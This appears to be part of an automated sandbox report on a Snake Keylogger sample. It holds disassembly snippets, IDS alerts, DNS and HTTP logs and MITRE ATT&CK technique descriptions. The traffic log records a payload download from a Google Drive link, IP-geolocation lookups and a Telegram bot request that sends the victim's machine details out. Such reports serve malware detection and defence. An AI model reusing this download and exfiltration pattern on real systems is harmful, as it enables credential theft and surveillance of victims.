Instruction Fuzzy Hash: B9F0C232504554EFC7029FA9DD0099EBBA8EF06260B2540B6E801F7210D274EE019BA9

Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367487A8 CryptUnprotectData,		4_2_367487A8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36748EF1 CryptUnprotectData,		4_2_36748EF1

Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.188 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.188 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.188 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.188 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.188 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.188 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.188 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.188 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.188 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:124406%0D%0ADate%20and%20Time:%2028/10/2024%20/%2012:44:28%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20124406%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 0016F45Dh	4_2_0016F2C0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 0016F45Dh	4_2_0016F4AC
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 0016FC19h	4_2_0016F974
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36552C19h	4_2_36552968
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 365531E0h	4_2_36552DC8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3655E501h	4_2_3655E258
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3655E0A9h	4_2_3655DE00
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3655E959h	4_2_3655E6B0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3655F209h	4_2_3655EF60
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3655EDB1h	4_2_3655EB08
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36550D0Dh	4_2_36550B30
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36551697h	4_2_36550B30
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3655F661h	4_2_3655F3B8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_36550040
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3655FAB9h	4_2_3655F810
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3655D3A1h	4_2_3655D0F8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3655CF49h	4_2_3655CCA0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3655D7F9h	4_2_3655D550
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 365531E0h	4_2_3655310E
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3655DC51h	4_2_3655D9A8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36747119h	4_2_36746E70
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36747EB5h	4_2_36747B78
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36749280h	4_2_36748FB0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36744D21h	4_2_36744A78
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674D146h	4_2_3674CE78
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36743709h	4_2_36743460
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674F136h	4_2_3674EE68
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36741CF9h	4_2_36741A50
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367402E9h	4_2_36740040
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367462D9h	4_2_36746030
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674BF06h	4_2_3674BC38
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367448C9h	4_2_36744620
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674DEF6h	4_2_3674DC28
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36746CC1h	4_2_36746A18
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367432B1h	4_2_36743008
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36740B99h	4_2_367408F0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674F5C6h	4_2_3674F2F8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36745179h	4_2_36744ED0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36747571h	4_2_367472C8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674C396h	4_2_3674C0C8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674E386h	4_2_3674E0B8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36742151h	4_2_36741EA8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36740741h	4_2_36740498
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then mov esp, ebp	4_2_3674B081
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36746733h	4_2_36746488
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36742A01h	4_2_36742758
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674C826h	4_2_3674C558
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36740FF1h	4_2_36740D48
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674E816h	4_2_3674E548
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367479C9h	4_2_36747720
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367455D1h	4_2_36745328
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674B5E6h	4_2_3674B318
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367425A9h	4_2_36742300
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674D5D6h	4_2_3674D308
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367418A1h	4_2_367415F8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674CCB6h	4_2_3674C9E8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674ECA6h	4_2_3674E9D8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36745E81h	4_2_36745BD8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then mov esp, ebp	4_2_3674B1C0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36742E59h	4_2_36742BB0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36741449h	4_2_367411A0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674BA76h	4_2_3674B7A8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674DA66h	4_2_3674D798
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 36745A29h	4_2_36745780
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 3674FA56h	4_2_3674F788
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B6970h	4_2_367B6678
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B42B6h	4_2_367B3FE8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B4746h	4_2_367B4478
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BD768h	4_2_367BD470
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BAC60h	4_2_367BA968
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B0C2Eh	4_2_367B0960
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B8158h	4_2_367B7E60
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B3E26h	4_2_367B3B58
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BEF50h	4_2_367BEC58
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BC448h	4_2_367BC150
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B5E16h	4_2_367B5B48
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B9940h	4_2_367B9648
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B030Eh	4_2_367B0040
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B6E38h	4_2_367B6B40
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B3506h	4_2_367B3238
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BDC30h	4_2_367BD938
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BB128h	4_2_367BAE30
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B54F6h	4_2_367B5228
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B8620h	4_2_367B8328
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BF418h	4_2_367BF120
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B2BE6h	4_2_367B2918
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BC910h	4_2_367BC618
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B19DEh	4_2_367B1710
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B9E08h	4_2_367B9B10
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B4BD7h	4_2_367B4908
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B7300h	4_2_367B7008
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BE0F8h	4_2_367BDE00
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B22C6h	4_2_367B1FF8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BB5F0h	4_2_367BB2F8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B10BEh	4_2_367B0DF0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B8AE8h	4_2_367B87F0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BF8E0h	4_2_367BF5E8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BCDD8h	4_2_367BCAE0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B6347h	4_2_367B5FD8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BA2D0h	4_2_367B9FD8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B079Eh	4_2_367B04D0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B77C8h	4_2_367B74D0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BE5C0h	4_2_367BE2C8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BBAB8h	4_2_367BB7C0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B5986h	4_2_367B56B8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B8FB0h	4_2_367B8CB8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BFDA8h	4_2_367BFAB0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B3076h	4_2_367B2DA8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BD2A0h	4_2_367BCFA8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B1E47h	4_2_367B1BA0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BA798h	4_2_367BA4A0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B5066h	4_2_367B4D98
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B7C90h	4_2_367B7998
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BEA88h	4_2_367BE790
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B2756h	4_2_367B2488
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367BBF80h	4_2_367BBC88
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B154Eh	4_2_367B1280
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367B9478h	4_2_367B9180
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367F1FE8h	4_2_367F1CF0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367F0338h	4_2_367F0040
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367F1B20h	4_2_367F1828
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367F1190h	4_2_367F0E98
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367F1658h	4_2_367F1360
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367F0801h	4_2_367F0508
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then jmp 367F0CC8h	4_2_367F09D0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_36833E70
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_36833E60
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_36830A10
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_368308DE
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_36830960

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49743 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49741 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49738 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49740 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49781 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49769 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49744 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49736 -> 172.217.18.110:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49746 -> 188.114.96.3:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report rFa24c148.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

